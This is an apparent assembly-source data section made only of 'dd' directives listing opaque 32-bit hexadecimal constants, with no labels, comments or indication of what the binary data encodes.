dd 800BAA47h, 1C460001h, 0B73EDF15h, 0FD2C7A0Dh, 2700B8A3h
dd 605DDCCEh, 657F3D1Ch, 0C7F49B9Eh, 2489130Ch, 0F3458030h
dd 2019D75h, 0E3E648EBh, 0C20722Ch, 7E170029h, 91F33D15h
dd 0E04884C5h, 98007D88h, 0D6860A72h, 7ED19Ch, 95D7A8B1h
dd 0C9A17AABh, 603C9800h, 7FBE82CFh, 801B4E25h, 0F9ECCA0Ch
dd 7E47E200h, 2206952Fh, 0BD3C0019h, 0B2D242F6h, 0D609A443h
dd 0F060A239h, 875F0034h, 55CEC0AEh, 8E0306EEh, 50037222h
dd 77CDF1E5h, 9ABDF03Bh, 9E11B0A4h, 30CB781Ch, 0A21E24C4h
dd 63C1BE8Eh, 4AB3BBF3h, 35C830h, 0C4F709ECh, 0D7E1029Eh
dd 579C6F00h, 12AAE0FAh, 1CBE7483h, 0A7C4CEEDh, 18857400h
dd 0E600E891h, 0DD82CC2Ch, 4CFE7C15h, 480B8C86h, 0CC878752h
dd 4D25E053h, 2A026F50h, 6E6B4A60h, 76376164h, 3C1E7FE0h
dd 280002D7h, 1059FADBh, 5A00F9E8h, 55FEE709h, 0FBD4D32h
dd 237C8CBBh, 6F8B4BC1h, 276834F1h, 1731B014h, 889600DAh
dd 5ED17DDCh, 0E0BC0FC2h, 77A0854Eh, 1155C30Fh, 63823B00h
dd 862DAE9Dh, 0D8BD0479h, 80441493h, 95905B90h, 3CA5F305h
dd 48EC4C50h, 0EFF07002h, 38D4111Ch, 0C0874E00h, 0BD02B16h
dd 4C78BAACh, 3F004C50h, 2422B6DBh, 73BD792h, 341EE40Bh
dd 0D6F3F0CAh, 0B400A25Bh, 0B3BE45A5h, 6D2090h, 0F2717AE1h
dd 4CAB3254h, 0A704F41Ch, 4BD50EC1h, 10705B10h, 0F45579F9h
dd 2357730h, 0B41B302h, 543FEAh, 0AE9E1501h, 4848378Ch
dd 0D20B0C01h, 77B8E2DAh, 0FDA2B01Ah, 1C2C7CA0h, 1D7AC40Ch
dd 4AF0A494h, 0A6C61603h, 306AC3Fh, 8158D139h, 59DE88A9h
dd 848E9500h, 7551237Fh, 0EE7C0F55h, 0F2802560h, 0A4CBABBAh
dd 9864472Ah, 1A3A9900h, 23373B08h, 2F141C35h, 0F848C20Fh
dd 0FC7C364Fh, 30319F00h, 0F38590h, 284C3825h, 0A4688E9Ch
dd 0B3518F19h, 0F1802304h, 8AB09DA0h, 901E271h, 56D77852h
dd 242C4188h, 1DDB4CEh, 0E117E98Bh, 901ECBCAh, 0BA4CC027h
dd 2D11F8h, 9EB98FA6h, 3CFA66A9h, 201F8A7h, 7409A34Ch
dd 0E8AE8098h, 644C9BC9h, 0FDFF032Ch, 0CA8237EEh, 23E86085h
dd 0F20A00D4h, 0C78C9D4Ah, 600C2248h, 59614CA1h, 70370C9Eh
dd 7A116F44h, 0BA7CBBF8h, 380340A5h, 0E63DB8h, 0A4B0C678h
dd 9D1189B1h, 0BBA94903h, 0F8A1E444h, 4ED53071h, 9C7044ABh
dd 0E23CF087h, 0C44B107h, 0B920EBA1h, 0F5936Bh, 0DDD51F4Eh
dd 5D87E9E0h, 3C1CBCh, 0AD831675h, 90438530h, 908BB794h
dd 9410C078h, 721F840Dh, 10603F1Eh, 0BEAE8FD3h, 5FB0A500h
dd 0CDC33711h, 287558FCh, 326E700h, 4AFA2A39h, 843C5D38h
dd 0C4FE949Ch, 6DA04091h, 2DD0406Fh, 11213539h, 9001876h
dd 0D512ED40h, 5D604E69h, 2B007C4Fh, 7484EC36h, 0F4009FDDh
dd 0F2F8CE71h, 0A83D18F3h, 60B480A0h, 0FB193176h, 420006CFh
dd 5E0A1A90h, 41F8838h, 0DE8FE483h, 62C1C38Ch, 6DBDA7D0h
dd 0F43EA92Eh, 5922B880h, 0EF8217h, 0D367C424h, 6C47D9F7h
dd 390B28EEh, 802CFD99h, 50F7178h, 0E1CF008Bh, 127D5041h
dd 3B00EDDCh, 0B232BB94h, 908B9387h, 0C2360085h, 8D38C94Bh
dd 0C4789165h, 460D800h, 0C5F26AEh, 0AF5B006Eh, 0B99F6786h
dd 0A8005099h, 138568BCh, 19862h, 0E00933B7h, 3B5667BDh
dd 0A78D6B09h, 1F260082h, 1DA37F6Ch, 0C1C3C2h, 0AD40A9BFh
dd 0F25C23A1h, 5E007834h, 0A0D90322h, 16B31862h, 0E0736707h
dd 19134A98h, 0D00001D3h, 0D5F05DCh, 82EA89E2h, 0FE032508h
dd 0E854B7h, 14DDBABCh, 0E600C395h, 2DAA8C0Bh, 1F0423Bh
dd 840EBEC5h, 7A43E27Ch, 1822E02Ah, 0B7669722h, 0BF4DB8A1h
dd 0DDB440DAh, 0E2D48B3h, 0C390138Ah, 7A3E840h, 300305F9h
dd 0ACD8B7E8h, 8B8111B0h, 53D9FA00h, 7691159Bh, 0B66E0F1Eh
dd 75866CC0h, 591E4BF5h, 0BF1C5C7Dh, 0B02F81CCh, 6C36BC95h
dd 0AA1D006Ch, 0ECEACBE2h, 4FDD00C2h, 4DA0A90Bh, 473D075Dh
dd 29F80327h, 67A20Ah, 2F0D722Eh, 21FEE9C8h, 0DF07410Bh
dd 378205Bh, 0A15D25h, 0F6928812h, 0DCD21E4Dh, 919ADB00h
dd 665FA486h, 29141DEBh, 2E4A806Bh, 0CC8D3621h, 70C0855Eh
dd 261A4C96h, 0C0E0A2BAh, 828B841h, 0EBC0DB03h, 0D057D1A6h
dd 1F80EFh, 437F5A88h, 54459F23h, 40F8CD5Ah, 0D23EF500h
dd 0B5F7F8A9h, 0A07E7B02h, 40F478B0h, 3708008h, 684CF2D4h
dd 0E8C8E517h, 0C60EA3BCh, 20730EFFh, 0A19E3541h, 3FBF05CFh
dd 400562E4h, 6C455380h, 0F007B9E7h, 0A8FB5ABh, 5496F02Ah
dd 0AD8C4003h, 3D86F187h, 0F6F23864h, 0F0520945h, 10A05E1Dh
dd 412E6E88h, 28AC264Ch, 0F298A172h, 2AB0FA04h, 0F880C71Ah
dd 725DFh, 6771BD0Dh, 3C6AD416h, 7A709618h, 7290FE8h, 0E7F2740h
dd 921B9599h, 12E22B30h, 0F067A862h, 2A030424h, 0AFC85F40h
dd 0E3DAF0B0h, 65800708h, 33F3F6D3h, 0CEA007F8h, 66008A11h
dd 0B292B490h, 0B182C84h, 0C0AC7F65h, 21894440h, 0E3006C71h
dd 9927553Fh, 9A0169F9h, 45E4003Ch, 22A6CB56h, 68608B9Eh
dd 1AD260D8h, 0D0731C7Bh, 0A2C3405Fh, 3D3177C5h, 21F5FC00h
dd 0C4F0BACEh, 5EA10064h, 533EAE01h, 5DE82C11h, 0D119D600h
dd 0BC5C69C0h, 0E8720041h, 6230EF45h, 817DD259h, 3824C339h
dd 0FAD805DEh, 908DA2E6h, 5F2F087h, 0D00E24E7h, 5C7C5BB4h
dd 0C8D8A43Ch, 4E1C0000h, 4561B12Bh, 0B4A12625h, 0D9A519AFh
dd 900F0E97h, 4CC7E2EFh, 4715201Eh, 0F02466AAh, 651FC0B3h
dd 408692h, 0D62DC6D0h, 0A77369h, 874B0292h, 0BCE6A418h
dd 2F1640B0h, 887CEBA3h, 5FAE006Eh, 92F41B46h, 0D00647Ah
dd 461D373h, 0E0502B7Ch, 7CBC6Ch, 3CB67D1Ch, 104BCC9h
dd 4265D063h
dd 6ED068C7h, 60D1B4B3h, 0CA81044h, 39023570h, 0D4102ECBh
dd 0FF2C4843h, 98B5557Ch, 0AB10526Bh, 0DA208618h, 3F0100DBh
dd 0E5C99F37h, 0B754CAD7h, 2C98978Ch, 0FC64A851h, 25E0D942h
dd 67FC7700h, 0A70E9EC8h, 9F6105A4h, 0C0602AC5h, 0BD8835A1h
dd 7084DF0Fh, 97C38086h, 1EF02379h, 92AC96A7h, 31E8001Bh
dd 9AC441D4h, 0A2E96000h, 5872A4C2h, 0FEC700ECh, 0B3840FACh
dd 5DFA81D5h, 7D4DEB00h, 0FA47A62Ch, 0F57238EDh, 0C9E1A780h
dd 22DE03F8h, 6A336500h, 8ADAA3CAh, 6080BFC2h, 0EF2898A6h
dd 8B89363Bh, 80C6CF25h, 3CF28CE2h, 0DDAD0701h, 0B0F03847h
dd 0F54A0D9Eh, 0B6198102h, 57F7B179h, 37091400h, 0C939F416h
dd 0C7DC8012h, 0DFF8D9B0h, 0AA9B244Fh, 0EDEC0062h, 7805E4E5h
dd 13001D73h, 979883E1h, 1AFEBDEh, 3404DB8Eh, 61E212E5h
dd 0D6A1CC80h, 970A3320h, 0D164001Dh, 0A0E1DA70h, 53EE070Eh
dd 49E6009Fh, 4935F8A4h, 0BD7B7431h, 0CE050C03h, 0AFBE3898h
dd 859BC102h, 0E8417FC3h, 12F66Ch, 7654022Bh, 4C4F2581h
dd 15145CB0h, 1C9FC2E4h, 0B4A6588Eh, 0A4011A96h, 0D099D8EDh
dd 0BF6E70h, 0BEA5997h, 0F230FEB2h, 6058B16Fh, 0BA88AE7Dh
dd 79DC7C4Ah, 73182F71h, 9419080h, 0E001C593h, 35C89215h
dd 0C070441Fh, 48E60031h, 868F257Ah, 0C92E4E21h, 0A01C667h
dd 53F5936Ah, 52501D2Fh, 638C051Bh, 3F0F9E3h, 537ED827h
dd 0B2A0D88Ah, 0AD6A004Eh, 55CF8E89h, 1107521Bh, 0D45B142Eh
dd 5004DA7Bh, 0B8278740h, 948D02F2h, 88AAC0DDh, 0AEC97CEBh
dd 2EE2D87Eh, 9C044098h, 0A8C95045h, 9112E8CAh, 0A020C0EDh
dd 2816306Ah, 0C5006F55h, 0CB16C4EEh, 59642F0Eh, 0A81805h
dd 0CAF21394h, 0EB006AE0h, 0E19690FDh, 57C8EB7h, 0C78ADE99h
dd 7AB08848h, 0F44A8C01h, 3532A4BCh, 2D0A8080h, 0A7C95E3Fh
dd 0B6219E02h, 0A5957C8Fh, 0D88326D8h, 0E749E07Ah, 0E6E32AC9h
dd 6B8C01FCh, 0FF04EB3Ah, 96906340h, 0EB552080h, 524F07B9h
dd 7929BFh, 9711CDE3h, 0C29AE404h, 90E8EF3Fh, 0A524C182h
dd 7309A4D6h, 0DEF880A7h, 1DDF02F7h, 0C0F4F57Eh, 0D423254h
dd 0EF5438C7h, 4A019A3Ch, 5D3DD2A6h, 0A068E3FEh, 0E8C94518h
dd 0FC002B14h, 29C01710h, 2BA87B1h, 92B0B737h, 0CCC2AE74h
dd 0C9E7059h, 8AB000E1h, 0E3B2BA35h, 0EF577B00h, 70E5E8A3h
dd 9061006Fh, 38F9ACD2h, 87172386h, 40896DDh, 40D861D0h
dd 0F6382026h, 0C43E1526h, 6C8C4B80h, 55218DC8h, 30DCAC23h
dd 90CE6AFEh, 42FB4110h, 0DE4342Ch, 10CC48AAh, 0FB0BB303h
dd 0F02D23D5h, 181D2B4Ah, 794184E6h, 3100A0FFh, 8846672Ch
dd 54FD7FDh, 1134EDDDh, 3EB80B29h, 89CF6882h, 0C9F7A8A6h
dd 3E016542h, 0C3EF62EEh, 680ADCE7h, 0C0E495Fh, 7520E085h
dd 0AD0F77h, 510B4763h, 6D436A68h, 0DD545C1Eh, 0E0FE8FCEh
dd 0EAFBA0C6h, 0B6F9132Fh, 0C04C1EE5h, 5817DC91h, 5400B17Eh
dd 102AABA5h, 5A76866h, 62740220h, 9D57C352h, 9BABBAD8h
dd 0EF3D091Fh, 0C145825h, 59697754h, 0D8004011h, 7681E132h
dd 7A82F4F7h, 8D651EAFh, 56C38AA6h, 38B096A8h, 64404A8Ch
dd 0D0A0B79Eh, 71DB8F4Dh, 80CD0F28h, 46F2058h, 0C8B68DAFh
dd 0B7D400BBh, 42221E38h, 0CD6AF600h, 0FD32F1F7h, 257E0273h
dd 53197DBAh, 86299468h, 0DE648000h, 9F17A734h, 0E6C10F9Eh
dd 0B341D4B9h, 401DA837h, 881231DCh, 34E7AF00h, 0E4174114h
dd 800BFC6h, 0A525BA9Eh, 0D1921900h, 0AD479ABBh, 0AB0C0A3h
dd 451F4CCAh, 7960E300h, 6B17781Bh, 6FBF07F7h, 2F026AC6h
dd 0DD8433C3h, 73007A7Ch, 9EC16E35h, 24473EDAh, 3E0D7763h
dd 460FC787h, 6EE6B0F6h, 0A51C946Fh, 3AAC5E76h, 9CD0FC05h
dd 930008ACh, 9407E2C7h, 0C00E5C2h, 1FEAAF91h, 22EAB8Ah
dd 36B3A224h, 74D4BF20h, 9B68A104h, 9A0030E2h, 95BDA749h
dd 7D3B0E72h, 237C02FEh, 744B8B28h, 0A01B80ECh, 70293F5Bh
dd 2250A0B5h, 3D029B61h, 0D3808104h, 41A4604Fh, 1449AE16h
dd 0A08901E8h, 0A9AF80ADh, 3FEE7424h, 0C70A2679h, 380F6F4h
dd 80F7238h, 0C8E4A8E8h, 4C7AFB1Fh, 0E6ED0780h, 0E054A97Ch
dd 82EC9Bh, 7519DC35h, 0CEBE9874h, 0CBD8BA01h, 5B4E460Ah
dd 1F961180h, 2A60F9ECh, 56949E01h, 3CDD9B2Ch, 0C0A8870h
dd 0E4803BEDh, 0DB0066A0h, 2B85345h, 4B7A0D3h, 0E7048382h
dd 0D557C04Eh, 3100A4DAh, 0FB4FE06Bh, 8DF00Eh, 4A155F8Eh
dd 0D8DD6D71h, 790087EAh, 2A806A3Dh, 4B81890Eh, 4040B529h
dd 957A9644h, 861C94B0h, 0FE7F624Eh, 89209801h, 2C273DB0h
dd 216C003Ah, 0D87F2BA3h, 9C95FF01h, 0D6D2E014h, 0B790C34h
dd 0F2DA099Eh, 0F4B19C80h, 7D00D1C1h, 517960Dh, 0B069EB45h
dd 4FA91EDCh, 5481004Bh, 1FBE5329h, 209BB300h, 43A6CDDFh
dd 0E38B255Dh, 3E7C51h, 3C164037h, 94C49Dh, 0FED3E7F9h
dd 4C773AD8h, 0AA7D8700h, 0D7F7A1AEh, 0E9E0017h, 0CF718FC0h
dd 0C001FDCh, 61F2466Fh, 0DF7282h, 60DA049Dh, 4210E50Dh
dd 96941200h, 3B58093Ch, 86F630DBh, 45A40D29h, 3978C102h
dd 405B7AF0h, 25693C19h, 8A0A67Fh, 0CFDDFE5Ah, 725280h
dd 9A362EAAh, 9948BED1h, 0A1D18B6h, 0B176A1Dh, 8A5C800h
dd 29AB137h, 9EB53322h, 7B43DB1Ah, 3B1DE6D8h, 21D01904h
dd 0B0B8F153h, 6DD1F200h, 969AED57h, 0BF541312h, 0CBC0880Eh
dd 2AE8F893h, 7DC8514Fh, 8EDB1D06h, 32F0698h, 781319C4h
dd 7442B066h, 5FF6DD05h, 8AB77400h, 0BD274E0Ah, 1E404064h
dd 0CC0301F8h, 0C2E9EFD0h, 56DBFC26h, 72505312h, 0BA126CBCh
dd 48BCA82Ch, 0CBE00B48h, 52F4E03Ch, 96E300EEh, 8CCDEC4Ch
dd 6E1DE735h, 88003B25h, 6FE53D27h, 0FE543070h, 0F9AF4D70h
dd 23F73313h, 389CDC07h, 0AE509D0h, 889F5DA8h, 87E16209h
dd 0BBD5D820h, 230B33D1h, 0A0210835h, 18E071D0h, 0DD03D57h
dd 6BBF49Ch, 0C1CCD9FFh, 76306C04h, 0DA045F92h, 9C53BA89h
dd 9AB4A0h, 0B032C594h, 0AA38C38Eh, 2EAD8C03h, 0C8CE8A97h
dd 0E88799h, 0CF859BC5h, 0D69EB68Eh, 4FAB9501h, 24575559h
dd 0D8FCC080h, 9AC4F05Eh, 0AEC32A00h, 0A09E22A7h, 53C4A026h
dd 18A79B1h, 5B3F9BD4h, 40372DC8h, 0A9D1BBCh, 0ECC9E302h
dd 1E5A82Eh, 0E1617C3Dh, 0F6760060h, 7A6D014Ch, 816C63F7h
dd 8671F4EEh, 1F5B0400h, 2130FE8Ch, 2BF30F8Ah, 4302E9C2h
dd 7842EBC4h, 0AA2C2675h, 151C0C10h, 60B999A9h, 0E60A842Dh
dd 0D90B07B0h, 0C92421D1h, 0CA619810h, 17561E01h, 5DEFC83Fh
dd 9A12342Dh, 2D710B9Dh, 42DF8480h, 0CD0777AEh, 4F1C6E5h
dd 0B3194A20h, 84BE5072h, 3C8B2708h, 0EFD838C8h, 0DB00E1E2h
dd 8E8AE705h, 0A0BDAF69h, 0B8C7B5C7h, 97531190h, 3E3C0B92h
dd 3AAB0577h, 0FD554890h, 707A0375h, 0FF4BF1FCh, 64C43100h
dd 0D51A11E2h, 0A5170E9Bh, 6A2494BCh, 809BC0BAh, 3E006C76h
dd 91092503h, 66B2C8h, 0F1D3717Fh, 0F4D0774Dh, 5A5E5000h
dd 0C6758B1Eh, 0DED500A6h, 15D7E5F3h, 9A3ABAD9h, 0D25F073Bh
dd 1C91ED0Eh, 0FEEA9CCCh, 0B0031600h, 0A19F0100h, 0F55E82D4h
dd 187288C4h, 850F1D1h, 770529EDh, 69812632h, 6D0308ACh
dd 844E0B2Bh, 0B35512D8h, 2F58DA0Bh, 0A49C81C9h, 686DDB3Ch
dd 0D81A4980h, 0B60FF3E9h, 57C23B4Ah, 0A14838C0h, 90BD270Ch
dd 674BB4C0h, 10594Dh
dd 95D3EB0Eh, 0B0473A16h, 8FF70280h, 93C19068h, 14F4E8C0h
dd 0D8B83D0Eh, 0A191676Fh, 94B13FA0h, 2BBF0529h, 0E89B9C0Eh
dd 0B2501DF4h, 10A2284Bh, 5C25F9BCh, 3C0000C1h, 1549E2EAh
dd 0CA00FBEDh, 50EB4CF3h, 0F28797Eh, 9101E948h, 0F5AF0D01h
dd 0E0056F2Bh, 74803A26h, 72F09EBh, 4B395A58h, 1C305063h
dd 0E800F8DDh, 3E458755h, 3D08928Bh, 94E0CA01h, 7846F4F1h
dd 200B0B1h, 0AF26095Eh, 2DD80230h, 3FDEB365h, 0E7CDA498h
dd 6B534C00h, 0FB549D60h, 0C02AEF47h, 0B4B5F760h, 8C69100h
dd 81383759h, 76851C4Ah, 53E9039Fh, 278A931Fh, 0DE3AAC80h
dd 69018BF5h, 0A2129ADCh, 24C44205h, 0B9450914h, 9C801AB1h
dd 202187ACh, 1A0B348h, 2AD827D5h, 1089B743h, 40220584h
dd 0D45230FAh, 972A020h, 75CB71B9h, 548A0F01h, 0E8012EDFh
dd 0A091AD6Ch, 5138413Fh, 0FC0FE730h, 0E800F7A5h, 7669585Ch
dd 48329493h, 75009DF6h, 6DF9EECCh, 0A800B7E4h, 46DFF07Bh
dd 95A392C6h, 0AA4B2040h, 0D1F2D4BAh, 0AC587100h, 0F27D6EC8h
dd 796A18CCh, 935508FAh, 0EEC7CD00h, 0EACBDFA7h, 0E4E300ABh
dd 0DBDEF4F3h, 909FD9Ah, 2355E053h, 0C0B24C68h, 54EBDC1Bh
dd 3D47C848h, 0E72C7221h, 0FB3A02E8h, 0C8F123A9h, 2E1709h
dd 36134558h, 0D8240029h, 381125C9h, 649DA46Bh, 0FDC214F8h
dd 9000801Eh, 123D4804h, 101229DDh, 8C2AFFCh, 596640D7h
dd 3F270708h, 5043826Ch, 183206DBh, 5C48C49h, 0D92D7FAAh
dd 86EF4881h, 6D6C64h, 0FCC75872h, 90221940h, 6068A72Ch
dd 2FAE5C00h, 1F9CFF3h, 830BBC0h, 2FA70BF6h, 20F4C6h, 8C158786h
dd 417683A8h, 0C96E0A00h, 0E6D8E9C1h, 0C5B61C72h, 0A988C034h
dd 83EC4445h, 2792400h, 2C198212h, 5CD938E3h, 0C01C9Dh
dd 4BE5ACB9h, 0E5E574Eh, 1656D400h, 0F5A0D2Dh, 610C4417h
dd 661141A0h, 0F0C73A24h, 6A93101Eh, 4962F813h, 6423051Fh
dd 0F821314Bh, 4A22192Ch, 86AFB10h, 63801FFCh, 0FE5BA82Ah
dd 5AA72AD4h, 0EB490F8Ch, 30C9FA05h, 0CC74D4C8h, 0A26BB4A8h
dd 20E0A74Ah, 70D40B47h, 0E8830460h, 0C0F866F8h, 84098A89h
dd 82CF4873h, 401809E0h, 1263BEACh, 0E062CDh, 0DE6D1990h
dd 8426FD49h, 0D703141Dh, 0D8BFFF75h, 44A9D38h, 0C9F8182Ah
dd 5E008045h, 83751DD0h, 44CAD740h, 0BA17B535h, 0F8E0CCABh
dd 78EB0087h, 0F1AABEDCh, 7407DAE4h, 0C1DDCE97h, 0C74ABBB0h
dd 1D500073h, 77E1F368h, 6003F23h, 0FBCFDD55h, 9EF1471Eh
dd 0A8CD9368h, 88B98534h, 57FF4A80h, 0B91E419h, 87973D39h
dd 0DA3E48C0h, 0C1C24C00h, 0E0A7076Dh, 18440C82h, 3CE06997h
dd 0CD9EDC00h, 0D495D57Ah, 2A2400BEh, 1BE5621Dh, 5E4B1993h
dd 1583F8B4h, 0C0AAAE81h, 944F426h, 0F4A818D9h, 80A41DFDh
dd 0E4CC3FC6h, 4A01890Bh, 0D6FD2531h, 8230731Dh, 66AB1F08h
dd 2A068D9h, 316B20ACh, 0D802C535h, 7D032242h, 8B00A872h
dd 0E85F1301h, 4CB849AAh, 92075044h, 0B1054396h, 40F070EBh
dd 3537BFC4h, 1774883Fh, 391F08ADh, 0D1633300h, 5BA32E7h
dd 151E94A0h, 0AF80030h, 709A0C1Fh, 0B55A9F00h, 6AA40F78h
dd 5457277Fh, 864F0040h, 4C005690h, 419C169h, 0B6A86Ch
dd 28DAB9BDh, 0C59FD498h, 74B06B54h, 79EFF3Ch, 0F4EBDE8Fh
dd 2AFDFA70h, 0F23FE88h, 99A48762h, 0F8D947A0h, 37F24933h
dd 31BEB609h, 0FA8DEB9h, 0B7209DC7h, 5B9AAA90h, 7BED5309h
dd 49002147h, 5660DAF0h, 9D92F046h, 0C0D00C65h, 207A7ECBh
dd 0D5266010h, 13E5DE1h, 0D123EA65h, 0F1E024F7h, 0C6CA07FAh
dd 8C5AE530h, 0E831AE99h, 0BFCD395Fh, 8700C33Ah, 7CA0BEA3h
dd 2CA00EAEh, 1CA084E3h, 420E99C8h, 80F9C6CFh, 640FE9C9h
dd 5425005Bh, 98AB0296h, 3801E13Ah, 0FF59E53Eh, 7EC057CEh
dd 3EBFEA1Ch, 5E005A82h, 0E4265825h, 13004CAEh, 0E3A7DBD5h
dd 2418AC7Eh, 24A3C54Dh, 0B5DD00DDh, 0F10B2112h, 4457E328h
dd 7E8C5107h, 0CCB7C6C8h, 0F8BB4741h, 0F9B0C22Bh, 17B75038h
dd 0C828C7Dh, 5219CF40h, 0C897A209h, 1EB05E01h, 4C0F6094h
dd 0C33AD622h, 0C055588Fh, 447ED5h, 0F7549173h, 419DEC7Ah
dd 749FD203h, 0F801E0CFh, 0ED8C914h, 372311E1h, 8640426Fh
dd 4BD0B3F6h, 0FA5B7307h, 4EC03631h, 1B6029h, 784F6952h
dd 3D327204h, 0DCF9840Ch, 0D64A0Eh, 4696027Bh, 1D567915h
dd 522DB615h, 247000C8h, 0F85D4D26h, 0A0EE006Ch, 0CF0F1438h
dd 4A064B17h, 0CDE63254h, 208602E9h, 0BCD7F322h, 38F072E2h
dd 8113E4F9h, 4126CF00h, 0CB27F970h, 54500571h, 768B4A2h
dd 8061D3B4h, 0EC8E6F95h, 0CE815360h, 21CB60h, 7A839225h
dd 0C1F2C5EAh, 0DFC7C002h, 57FC03BEh, 3DBC68A0h, 0AE30A506h
dd 0C9AF91D2h, 0A0301D6Bh, 0C5560E50h, 0B8EE2100h, 0DF5866E3h
dd 40960677h, 716351h, 543950E6h, 8A342A5h, 0D3500F64h
dd 156F8B40h, 0D10F1EE6h, 808A7FD6h, 55A33B1Dh, 89446716h
dd 7EA2C161h, 0B8118013h, 0E1621188h, 0DB9C006Ch, 0E335B541h
dd 9201D8F7h, 0CCE7AABAh, 62D0C4EAh, 0C74C3CC8h, 0D7AE7200h
dd 0D5300EBBh, 971A560Ch, 304050D6h, 55B14B88h, 69C04215h
dd 0B74B4F7h, 2BD40282h, 3CDD476Dh, 51277FE0h, 3963E609h
dd 22640014h, 3018B403h, 0F8296058h, 211E7CBAh, 5C8F5AADh
dd 2E7A41F5h, 2080DA2Bh, 656403A7h, 1B0ED6ADh, 9FFE4541h
dd 23090FBBh, 6FF60E27h, 3C11C0B2h, 0E80E0C61h, 4308C089h
dd 85716F5Ah, 3056B237h, 4B900F47h, 0E0EF0839h, 6B2D00D8h
dd 651E9DBBh, 1A07DA6Dh, 0E51B7B45h, 108436h, 0D5AC674Dh
dd 0F8D7F022h, 573BE606h, 902EADh, 844DCF49h, 0DD3FAB55h
dd 0DE00DC7Dh, 4772A80Ah, 6F4880B2h, 0E100C818h, 8755D010h
dd 1E4E3B00h, 2716D1C8h, 0CF19183Ch, 7113F11Dh, 96A54C00h
dd 0A367245Ch, 0EFD802E8h, 522528ABh, 0C9064C62h, 0CE3030CDh
dd 4661391Fh, 4BBF00B4h, 76EF8503h, 0A103690Ch, 0B155C327h
dd 3728061Ah, 90DA9322h, 450377F0h, 0CF846460h, 0DB490020h
dd 48261819h, 0FD099F38h, 221C77h, 568B6BFBh, 3F943FE7h
dd 0B830F081h, 8068BA33h, 5C66C348h, 0F95E6Dh, 0EFC74D56h
dd 2CF0D074h, 4A69903h, 0C0D516h, 5C3FDD78h, 0B3FB7DB2h
dd 9AEBC502h, 0E0D5C7D3h, 77D2C61Eh, 72E80E83h, 0B300B2F9h
dd 0AAF02314h, 3A7F2B06h, 49C6D4h, 95057370h, 0CCD0B274h
dd 82E42F01h, 45482BB9h, 8B142420h, 0C4A013BAh, 0F6B3FD1Eh
dd 0D37C3900h, 4E951D7Fh, 21766F48h, 73EC67C0h, 0E677A08Ch
dd 98E9DE2Ah, 458ECD00h, 0E2FF0149h, 0A00E00BFh, 412934D3h
dd 0B906EBE6h, 0DEB248FAh, 7D9831h, 0B5791EBBh, 19019382h
dd 0DD9A130Fh, 0DE7041AEh, 53D07C22h, 492B0181h, 262590A5h
dd 0D7DAD192h, 24018DF0h, 3B96BF3Eh, 191FFC1Ah, 260FC120h
dd 61A28F73h, 0D6A01D61h, 285D1080h, 2D47C2Bh, 0C9566600h
dd 886E7D50h, 912203D6h, 0C3496D8Bh, 0BB1D2BA8h, 7258D3Ch
dd 19295B93h, 0BB8E5C77h, 8E300708h, 0C7246B5Dh, 72494093h
dd 1F00DA8Ch, 2002C6C9h, 0AA7ADF8Fh, 77043D64h, 4AA825C1h
dd 79881081h, 0D2AF2415h, 0C4A0C207h, 0C2E27B8h, 363FE24Dh
dd 7D670608h, 0C4506B20h, 33D621Fh, 3AFA534h, 9BA0BBE1h
dd 0AA002D5Ah, 0D5EFB53h, 0ADE08773h, 0B4346030h, 8B0010F2h
dd 465C56B2h
dd 22982D9h, 7F76E020h, 0E8BD61h, 0AE07F8DAh, 8654B5B4h
dd 48F5B180h, 0C31080DDh, 79AB3300h, 2B3ACE7h, 495A00A6h
dd 0D52D6721h, 2FF8E52Ah, 0C6E6908h, 111C8079h, 2DCFB7A1h
dd 0FAC08118h, 0C0691E09h, 0A1393C20h, 9100ED5Bh, 20796102h
dd 2F04D59h, 4C1FDE76h, 0B4A0E601h, 7B6E1BC5h, 6D080C1h
dd 0A881B45Fh, 0A10526A4h, 7E2980E2h, 0C30AB5B9h, 6D150C6Ah
dd 7608805Dh, 1D202460h, 78B5D1h, 0B017097Ah, 6D027BDCh
dd 2AA658C5h, 40978C33h, 8C40BCC9h, 95C4E104h, 0C3633627h
dd 0A002179h, 0D311BC4h, 22CAEAh, 2EA35FFEh, 0F0F6FCDAh
dd 27E84C50h, 547ECB00h, 52153ABh, 2E20E829h, 45C8ACEAh
dd 23A82F32h, 9324001Fh, 493321D7h, 0A034C51Ch, 0A8D8FC80h
dd 60DC9A9Eh, 94BC70A9h, 6CA41779h, 0BE11C4FCh, 584FE27h
dd 0E469007Dh, 0DAC7C4h, 241D0708h, 4442CE4Bh, 0A07CD328h
dd 8C86B224h, 1C477892h, 61CC9670h, 0D6D30029h, 7B53B4CAh
dd 8305589Eh, 52F0D06Fh, 0D3318801h, 20878E6Eh, 20927C1Ah
dd 518FB06Fh, 28BB2D80h, 7F987A36h, 38AE4870h, 327CDF06h
dd 60A0807Eh, 0DD80B260h, 284E155Eh, 0A41DFC5Ch, 6AD50621h
dd 0BE0520ACh, 0BAF2D088h, 623843Ah, 0B3B2A900h, 748E6BBh
dd 9CED45F7h, 0A055A603h, 80E9992Ah, 0FCE42F07h, 6510E36Eh
dd 0C8A4F0Dh, 0BFF59A9Ch, 4B540771h, 98F4C2F0h, 75FDE400h
dd 9A033BF7h, 375B004Fh, 0F0E582A7h, 0E0016FFCh, 2BC46972h
dd 0F8A0B41Fh, 0EB72484h, 0A1106014h, 0F521D286h, 720917Fh
dd 0EBA1180Fh, 3E090360h, 52BE07FBh, 3C35B7DCh, 0BDEE1AB8h
dd 0E884B22Ah, 0EDBB5000h, 0E2B7FAE0h, 94014976h, 43214A30h
dd 3598EF72h, 5B0E8F00h, 0CFA023E9h, 0CD9201D6h, 43C58651h
dd 0DAB424A3h, 0E200847Ch, 7496FA16h, 5E08867h, 2E9AEE8Ch
dd 0A99C0023h, 0D76F3F52h, 4F4A4800h, 801D3C8Dh, 0E4D901D2h
dd 156EE26Ah, 0FAE4404Dh, 61749890h, 34EDBC00h, 36BD6676h
dd 0A18560AFh, 3CCDA906h, 4C5F78B5h, 230087FCh, 0BA2C4076h
dd 29C053AFh, 0D4A66929h, 8645008Dh, 611ED0ABh, 2400E890h
dd 77261D76h, 2A806AB3h, 2AB8B65Ch, 2ACFAB1h, 36940A7Ch
dd 5C660549h, 4F433311h, 0B1B42903h, 310287D3h, 1FA8F6F9h
dd 86704988h, 1C408025h, 9982662Ch, 1C63B04h, 0CFC5A10Bh
dd 1D0C803Dh, 7133A88h, 9B4C78A1h, 618B5037h, 0F9F06FF0h
dd 7B4CE550h, 485F220h, 1566FCD9h, 0DAB4834Fh, 8C8E398Ah
dd 956080A4h, 555408A0h, 2D933D80h, 35EF9B9h, 0B149A186h
